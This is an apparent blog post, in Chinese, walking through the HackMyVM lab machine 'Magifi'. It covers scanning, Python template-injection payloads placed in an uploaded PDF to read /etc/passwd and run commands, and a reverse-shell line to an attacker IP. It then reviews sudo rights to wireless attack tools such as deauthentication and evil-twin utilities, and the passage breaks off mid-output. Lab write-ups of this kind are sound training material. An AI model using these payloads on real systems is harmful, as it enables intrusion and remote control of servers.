{"id":906,"date":"2025-06-22T23:41:12","date_gmt":"2025-06-22T15:41:12","guid":{"rendered":"http:\/\/162.14.82.114\/?p=906"},"modified":"2025-06-22T23:41:12","modified_gmt":"2025-06-22T15:41:12","slug":"hmv-_-magifi","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/906\/06\/22\/2025\/","title":{"rendered":"hmv[-_-]Magifi"},"content":{"rendered":"<h1>Magifi<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338989.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338989.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250619011206062\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338991.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338991.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621130714491\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Magifi]\n\u2514\u2500$ rustscan -a $IP -- -sCV\nOpen 192.168.10.100:22\nOpen 192.168.10.100:80\n\nPORT   STATE SERVICE REASON         VERSION\n22\/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 0c:c6:d6:24:1e:5b:9e:66:25:0a:ba:0a:08:0b:18:40 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCihzhvruzjUnXRfyh685PiUN5ItFZ\/V0IHymFDih4nSIcKYrhMIw06oKdfeT3zo4tP14xB3ZrjnI3sEFh9R8LV34dTNhH4cNUtbS\/f0h2inMM35dJc533bNxJtT\/znohcEjYgUP3PSCK3dOuP+CcMrW8z+0QJJE9gbw9DqC5hlCzZwBHJgMvNhP74hBD\/JayHiS8G+K2G4owfXRHBs3LhEXYpHEibAHS\/E1G1j9R2wzTLKoN5Y0JKQ+bLxGbJekcnSl2o6hlAarOQnX1I3G+EFgWexJn\/xABxqEWk9B6NLhhPozoTyi43Xc\/omUF6Cw9jFl2v4z7bABMVVPjlXH748C6tFeRzx6\/mqAv2Ok2+Hzf1iessMzvYs1hnZBqL51gwcmBmMoSovm68d2jEKUwVQxEIsFH5lFGQciyM0rfn6EcA0up6iomAhs2fTA8MsOG6WJWd1Sw2nCTNygrmQ8tZfVGYz8rVaH8MkUENct8IxGN1iqel+9Cmdka9DDb+BMVM=\n|   256 9c:c3:1d:ea:22:04:93:b7:81:dd:f2:96:5d:f0:1f:9b (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFAZBwooUDLqSK+kKOx+YVnScFejnY3t0q+D4qt3jCOsjP4dJ8Wf9ORNUbHa7CtlrK3WlqluzuRQsXJ10tvyTw8=\n|   256 55:41:15:90:ff:1d:53:88:e7:65:91:4f:fd:cf:49:85 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGM6WqG9CguoVafo9uhRSPqtZG9yR57PD70\/FKDqba9e\n80\/tcp open  http    syn-ack ttl 64 Werkzeug httpd 3.0.4 (Python 3.8.10)\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n|_http-server-header: Werkzeug\/3.0.4 Python\/3.8.10\n|_http-title: Did not follow redirect to http:\/\/hogwarts.htb\nMAC Address: 08:00:27:1D:E9:1F (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Magifi]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html,zip\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.10.100\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              html,zip,php,txt\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\nError: the server returns a status code that matches the provided options for non existing urls. http:\/\/192.168.10.100\/a37d3a54-77c6-48fc-9438-278d5aef044d =&gt; 302 (Length: 225). To continue please exclude the status code or the length<\/code><\/pre>\n<p>\u6ca1\u4e1c\u897f\u554a\uff1f\u770b\u4e00\u4e0b\u6709\u5565\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Magifi]\n\u2514\u2500$ curl -s http:\/\/$IP\/                                               \n&lt;!doctype html&gt;\n&lt;html lang=en&gt;\n&lt;title&gt;Redirecting...&lt;\/title&gt;\n&lt;h1&gt;Redirecting...&lt;\/h1&gt;\n&lt;p&gt;You should be redirected automatically to the target URL: &lt;a href=&quot;http:\/\/hogwarts.htb&quot;&gt;http:\/\/hogwarts.htb&lt;\/a&gt;. If not, click the link.<\/code><\/pre>\n<p>\u6dfb\u52a0 dns\uff1a<\/p>\n<pre><code class=\"language-text\">192.168.10.100   hogwarts.htb<\/code><\/pre>\n<p>\u4f46\u662f\u4fee\u6539\u540e\u8fd8\u662f\u6ca1\u626b\u5230\u4e1c\u897f\u3002\u3002\u3002\u3002<\/p>\n<h2>\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<pre><code class=\"language-text\">http:\/\/hogwarts.htb\/<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338992.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338992.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621131955485\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53ef\u4ee5\u4e0a\u4f20 pdf \u6587\u4ef6\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u4e00\u4e2a\u7a7a\u6587\u4ef6\u8bd5\u8bd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338993.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338993.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621132055517\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>python SSTI<\/h3>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u7f51\u7ad9\u7ed9\u7684\u6a21\u677f\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338994.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338994.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621132347298\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u8fd9\u662f\u4e00\u4efd\u970d\u683c\u6c83\u8328\u5b66\u9662\u7684\u7533\u8bf7\u4e66\uff0c\u5c1d\u8bd5\u8f6c\u4e3a<code>pdf<\/code>\u8fdb\u884c\u4e0a\u4f20\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338995.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338995.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621132606329\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u770b\u4e00\u4e0b\u7f51\u7ad9\u7ec4\u6210\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Magifi]\n\u2514\u2500$ whatweb &quot;http:\/\/hogwarts.htb&quot;       \nhttp:\/\/hogwarts.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug\/3.0.4 Python\/3.8.10], IP[192.168.10.100], Python[3.8.10], Title[Hogwarts School], Werkzeug[3.0.4]<\/code><\/pre>\n<p>\u53d1\u73b0\u53ef\u80fd\u662f<code>Python<\/code>\u89e3\u6790\u7684\uff0c\u5c1d\u8bd5<code>SSTI<\/code>\uff1a<\/p>\n<blockquote>\n<p>\u76f8\u5173 payload \u53ef\u4ee5\u53c2\u8003\uff1a<a href=\"https:\/\/swisskyrepo.github.io\/PayloadsAllTheThings\/Server%20Side%20Template%20Injection\/Python\/\">https:\/\/swisskyrepo.github.io\/PayloadsAllTheThings\/Server%20Side%20Template%20Injection\/Python\/<\/a><\/p>\n<\/blockquote>\n<pre><code class=\"language-bash\">Name: {{7*7}}\nSurname: {{ self.__init__.__globals__.__builtins__.__import__(&#039;os&#039;).popen(&#039;id&#039;).read() }}\nAddress: {{ get_flashed_messages.__globals__.__builtins__.open(&quot;\/etc\/passwd&quot;).read() }}\nBirthday: {{ cycler.__init__.__globals__.os.popen(&#039;whoami&#039;).read() }}\nPet breed: [Your Pets Breed]\nPet\u2019s Name: [Your Pets Name]<\/code><\/pre>\n<p>\u6ce8\u610f\u5904\u7406\u4e00\u4e0b\u5b57\u4f53\u54e6\uff0c\u548c\u6a21\u677f\u4e00\u81f4\uff01\uff08\u683c\u5f0f\u5237\uff09\u7136\u540e\u5bfc\u51fa<code>pdf<\/code>\u8fdb\u884c\u4e0a\u4f20\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338996.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338996.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621134358625\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53ef\u4ee5\u8fdb\u884c\u6a21\u677f\u6ce8\u5165\uff0c\u5c1d\u8bd5\u53cd\u5f39shell\uff01\uff01\uff01\uff01\u4f46\u662f\u6211\u8fd9\u8fb9\u6267\u884c\u4e86\u534a\u5929\uff0c\u5c31\u662f\u5f39\u4e0d\u8fc7\u6765\uff0c\u6211\u5728\u6363\u9f13\u65f6\u53d1\u73b0\u4e86\u4e00\u4e2a\u6709\u610f\u601d\u7684\u5730\u65b9\uff0c\u6253\u7a7a\u683c\u6362\u884c\u4ee5\u540e\u51fa\u6765\u7684\u4e0d\u662f\u7a7a\u683c\uff0c\u662f\u4e2a\u83ab\u540d\u5176\u5999\u7684\u5360\u4f4d\u7f6e\u7684\u5730\u65b9\uff0c\u6b64\u65f6\u6309\u5220\u9664\u4f1a\u76f4\u63a5\u5220\u6389\u4e0a\u9762\u7684\u5185\u5bb9\u3002\u3002\u3002\u3002\u6240\u4ee5\u54b1\u4eec\u8981\u5c0f\u5fc3\u3002\u6709\u7a7a\u683c\u7684\u5730\u65b9\u4e0d\u8981\u6362\u884c\uff0c\u5426\u5219\u4f1a\u9ed8\u8ba4\u5c06\u4e0a\u4e0b\u4fe9\u76f4\u63a5\u62fc\u5230\u4e00\u8d77\u4f7f\u547d\u4ee4\u5931\u6548\u3002\u3002\u3002\u3002\u65b9\u6cd5\u5f53\u7136\u662f\u6709\u6ef4\uff0c\u7528\u6362\u884c\u5c06\u547d\u4ee4\u622a\u65ad\u5373\u53ef\u6267\u884c\uff0c\u4f46\u662f\u6a21\u677f\u8bbe\u7f6e\u4e86\uff0c\u5c06\u5355\u8bcd\u653e\u5728\u4e00\u8d77\u4e0d\u88ab\u6362\u884c\u622a\u65ad\u6240\u4ee5\u6211\u4eec\u8981\u4eba\u4e3a\u622a\u65ad\u6389\uff0c\u8fd8\u6ca1\u5230\u6362\u884c\u5c31\u7528\u7a7a\u683c\u586b\u5145\u76f4\u5230\u6362\u884c\u3002\u3002\u3002\u3002<\/p>\n<pre><code>Birthday: {{ cycler.__init__.__globals__.os.popen(&#039;bash -c &quot;bash -i &gt;&amp; \/dev\/tcp\/192.168.10.107\/1234 0&gt;&amp;1&quot;&#039;).read() }}<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338997.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338997.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621153847685\" style=\"zoom:50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338998.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506222338998.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250621154042398\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u65e0\u7ebf\u7f51\u7edc\u6e17\u900f\u6d4b\u8bd5\uff08\u65b9\u6cd5\u4e00\u524d\u7f6e\u64cd\u4f5c\uff09<\/h3>\n<h4>\u4fe1\u606f\u641c\u96c6<\/h4>\n<pre><code class=\"language-bash\">(remote) harry_potter@MagiFi:\/home\/harry_potter\/Hogwarts_web$ cd ~\n(remote) harry_potter@MagiFi:\/home\/harry_potter$ cat \/etc\/passwd | grep sh | cut -d: -f1\nroot\nfwupd-refresh\nsshd\nrubeus.hagrid\nalbus.dumbledore\nminerva.mcgonagall\ntom.riddle\nharry_potter\n(remote) harry_potter@MagiFi:\/home\/harry_potter$ ls -la\ntotal 28\ndrwxr-xr-x 3 harry_potter harry_potter 4096 Feb  4 10:04 .\ndrwxr-xr-x 7 root         root         4096 Sep 27  2024 ..\nlrwxrwxrwx 1 root         root            9 Sep 27  2024 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 harry_potter harry_potter  220 Feb 25  2020 .bash_logout\n-rw-r--r-- 1 harry_potter harry_potter 3771 Feb 25  2020 .bashrc\ndrwxr-xr-x 5 harry_potter harry_potter 4096 Sep 26  2024 Hogwarts_web\n-rw-r--r-- 1 harry_potter harry_potter  807 Feb 25  2020 .profile\n-rw-r--r-- 1 harry_potter harry_potter   43 Feb  4 10:04 user.txt\n(remote) harry_potter@MagiFi:\/home\/harry_potter$ cat user.txt \nhogwarts{ea4bc74f09fb69771165e57b1b215de9}\n(remote) harry_potter@MagiFi:\/home\/harry_potter$ sudo -l\nMatching Defaults entries for harry_potter on MagiFi:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser harry_potter may run the following commands on MagiFi:\n    (root) NOPASSWD: \/usr\/sbin\/aireplay-ng, \/usr\/sbin\/airmon-ng, \/usr\/sbin\/airodump-ng, \/usr\/bin\/airdecap-ng, \/usr\/bin\/hostapd-mana<\/code><\/pre>\n<p>\u770b\u4e00\u4e0b\u662f\u4e9b\u5565\u3002\u3002\u3002\u3002\u3002<\/p>\n<blockquote>\n<h4>\u4e00\u3001<code>\/usr\/sbin\/aireplay-ng<\/code><\/h4>\n<p><strong>\u529f\u80fd<\/strong>\uff1a\u5c5e\u4e8eAircrack-ng\u5957\u4ef6\uff0c\u7528\u4e8e\u5411\u65e0\u7ebf\u7f51\u7edc\u6ce8\u5165\u6570\u636e\u5305\u4ee5\u751f\u6210\u6d41\u91cf\uff0c\u8f85\u52a9\u7834\u89e3WPA\/WPA2\u5bc6\u94a5\u3002<br \/>\n\u200b<strong>\u6838\u5fc3\u7528\u9014<\/strong>\u200b\uff1a<\/p>\n<ul>\n<li>\u652f\u6301\u591a\u79cd\u653b\u51fb\u6a21\u5f0f\uff0c\u5982\u89e3\u9664\u8ba4\u8bc1\uff08Deauthentication\uff09\u3001\u4f2a\u9020\u8ba4\u8bc1\uff08Fake Authentication\uff09\u3001ARP\u8bf7\u6c42\u91cd\u653e\u7b49<\/li>\n<li>\u901a\u8fc7\u751f\u6210\u6d41\u91cf\u6355\u83b7WPA\u63e1\u624b\u5305\uff0c\u4e3a\u540e\u7eed\u7834\u89e3\u63d0\u4f9b\u6570\u636e\u652f\u6301\u3002<\/li>\n<\/ul>\n<pre><code class=\"language-bash\"># \u5f3a\u5236\u89e3\u9664\u8ba4\u8bc1\u653b\u51fb\uff08\u4f7f\u5ba2\u6237\u7aef\u65ad\u5f00\u8fde\u63a5\uff09\naireplay-ng -0 10 -a BSSID -c STATION wlan0mon<\/code><\/pre>\n<hr \/>\n<h4>\u4e8c\u3001<code>\/usr\/sbin\/airmon-ng<\/code><\/h4>\n<p><strong>\u529f\u80fd<\/strong>\uff1a\u7ba1\u7406\u65e0\u7ebf\u7f51\u5361\u7684\u76d1\u63a7\u6a21\u5f0f\uff08Monitor Mode\uff09\uff0c\u7528\u4e8e\u6355\u83b7\u6240\u6709\u7ecf\u8fc7\u7f51\u5361\u7684\u6570\u636e\u5305\u3002<br \/>\n\u200b<strong>\u6838\u5fc3\u7528\u9014<\/strong>\u200b\uff1a<\/p>\n<ul>\n<li>\n<p>\u542f\u52a8\/\u505c\u6b62\u76d1\u63a7\u6a21\u5f0f\uff1a<code>airmon-ng start wlan0<\/code>\u3002<\/p>\n<\/li>\n<li>\n<p>\u68c0\u67e5\u5e72\u6270\u8fdb\u7a0b\uff08\u5982\u7f51\u7edc\u7ba1\u7406\u5668\uff09\u5e76\u7ec8\u6b62\uff1a<\/p>\n<pre><code>airmon-ng check kill<\/code><\/pre>\n<p>\u9002\u7528\u573a\u666f\uff1a\u65e0\u7ebf\u7f51\u7edc\u6e17\u900f\u6d4b\u8bd5\u3001\u6d41\u91cf\u55c5\u63a2\u3002<\/p>\n<\/li>\n<\/ul>\n<hr \/>\n<h4>\u4e09\u3001<code>\/usr\/sbin\/airodump-ng<\/code><\/h4>\n<p><strong>\u529f\u80fd<\/strong>\uff1a\u65e0\u7ebf\u7f51\u7edc\u626b\u63cf\u4e0e\u6570\u636e\u5305\u6355\u83b7\u5de5\u5177\uff0c\u5e38\u7528\u4e8e\u8bc6\u522b\u76ee\u6807\u7f51\u7edc\u53ca\u6536\u96c6\u63e1\u624b\u5305\u3002<br \/>\n\u200b<strong>\u6838\u5fc3\u529f\u80fd<\/strong>\u200b\uff1a<\/p>\n<ul>\n<li>\u5b9e\u65f6\u663e\u793aAP\u7684SSID\u3001BSSID\u3001\u4fe1\u53f7\u5f3a\u5ea6\u3001\u52a0\u5bc6\u65b9\u5f0f\u7b49\u4fe1\u606f<\/li>\n<li>\u652f\u6301\u6309\u9891\u9053\u3001BSSID\u8fc7\u6ee4\uff0c\u4f18\u5316\u6570\u636e\u6355\u83b7\u6548\u7387\u3002<\/li>\n<\/ul>\n<pre><code class=\"language-bash\"># \u9501\u5b9a\u76ee\u6807AP\u5e76\u6355\u83b7\u63e1\u624b\u5305\nairodump-ng --bssid 00:11:22:33:44:55 -c 6 --write capture wlan0mon<\/code><\/pre>\n<hr \/>\n<h4>\u56db\u3001<code>\/usr\/bin\/airdecap-ng<\/code><\/h4>\n<p><strong>\u529f\u80fd<\/strong>\uff1a\u89e3\u5bc6WPA\/WPA2\u52a0\u5bc6\u7684\u6355\u83b7\u6587\u4ef6\uff08\u5982<code>.cap<\/code>\u6216<code>.ivs<\/code>\uff09\uff0c\u63d0\u53d6\u660e\u6587\u6d41\u91cf\u3002<br \/>\n\u200b<strong>\u6838\u5fc3\u7528\u9014<\/strong>\u200b\uff1a<\/p>\n<ul>\n<li>\u9700\u63d0\u4f9b\u76ee\u6807\u7f51\u7edc\u7684ESSID\u548c\u5bc6\u7801\u8fdb\u884c\u89e3\u5bc6\u3002<\/li>\n<li>\u652f\u6301\u5265\u79bb\u65e0\u7ebf\u534f\u8bae\u5934\uff0c\u751f\u6210\u7eaf\u6570\u636e\u6587\u4ef6<\/li>\n<\/ul>\n<pre><code class=\"language-bash\">airdecap-ng -e \"MyNetwork\" -p password123 capture.cap<\/code><\/pre>\n<hr \/>\n<h4>\u4e94\u3001<code>\/usr\/bin\/hostapd-mana<\/code><\/h4>\n<p><strong>\u529f\u80fd<\/strong>\uff1a\u6076\u610f\u63a5\u5165\u70b9\uff08Evil Twin\uff09\u5de5\u5177\uff0c\u7528\u4e8e\u521b\u5efa\u4eff\u5192Wi-Fi\u70ed\u70b9\u5b9e\u65bd\u4e2d\u95f4\u4eba\u653b\u51fb\u3002<br \/>\n\u200b<strong>\u6838\u5fc3\u529f\u80fd<\/strong>\u200b\uff1a<\/p>\n<ul>\n<li>\u7ed3\u5408Karma\u653b\u51fb\uff0c\u81ea\u52a8\u54cd\u5e94\u5ba2\u6237\u7aef\u63a2\u6d4b\u8bf7\u6c42\uff0c\u4f2a\u9020\u5408\u6cd5\u70ed\u70b9<\/li>\n<li>\u652f\u6301SSL\u5265\u79bb\uff08SSLstrip\uff09\u3001Cookie\u7a83\u53d6\u7b49\u653b\u51fb\u3002<br \/>\n\u200b<strong>\u98ce\u9669\u63d0\u793a<\/strong>\u200b\uff1a<\/li>\n<li>\u9700\u914d\u5408<code>hostapd<\/code>\u914d\u7f6e\u6587\u4ef6\u53caDHCP\u670d\u52a1\u5b9e\u73b0\u9493\u9c7c\u7f51\u7edc\u3002<\/li>\n<li>\u53ef\u80fd\u88ab\u7528\u4e8e\u975e\u6cd5\u5165\u4fb5\uff0c\u9700\u4e25\u683c\u6388\u6743\u4f7f\u7528\u3002<\/li>\n<\/ul>\n<\/blockquote>\n<p>\u770b\u6765\u8fd9\u4e00\u5173\u548c\u7f51\u7edc\u6709\u5173\uff0c\u770b\u4e00\u4e0b\u76f8\u5173\u914d\u7f6e\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) harry_potter@MagiFi:\/home\/harry_potter$ ip a\n1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000\n    link\/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\n    inet 127.0.0.1\/8 scope host lo\n       valid_lft forever preferred_lft forever\n    inet6 ::1\/128 scope host \n       valid_lft forever preferred_lft forever\n2: enp0s3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000\n    link\/ether 08:00:27:1d:e9:1f brd ff:ff:ff:ff:ff:ff\n    inet 192.168.10.100\/24 brd 192.168.10.255 scope global dynamic enp0s3\n       valid_lft 5498sec preferred_lft 5498sec\n    inet6 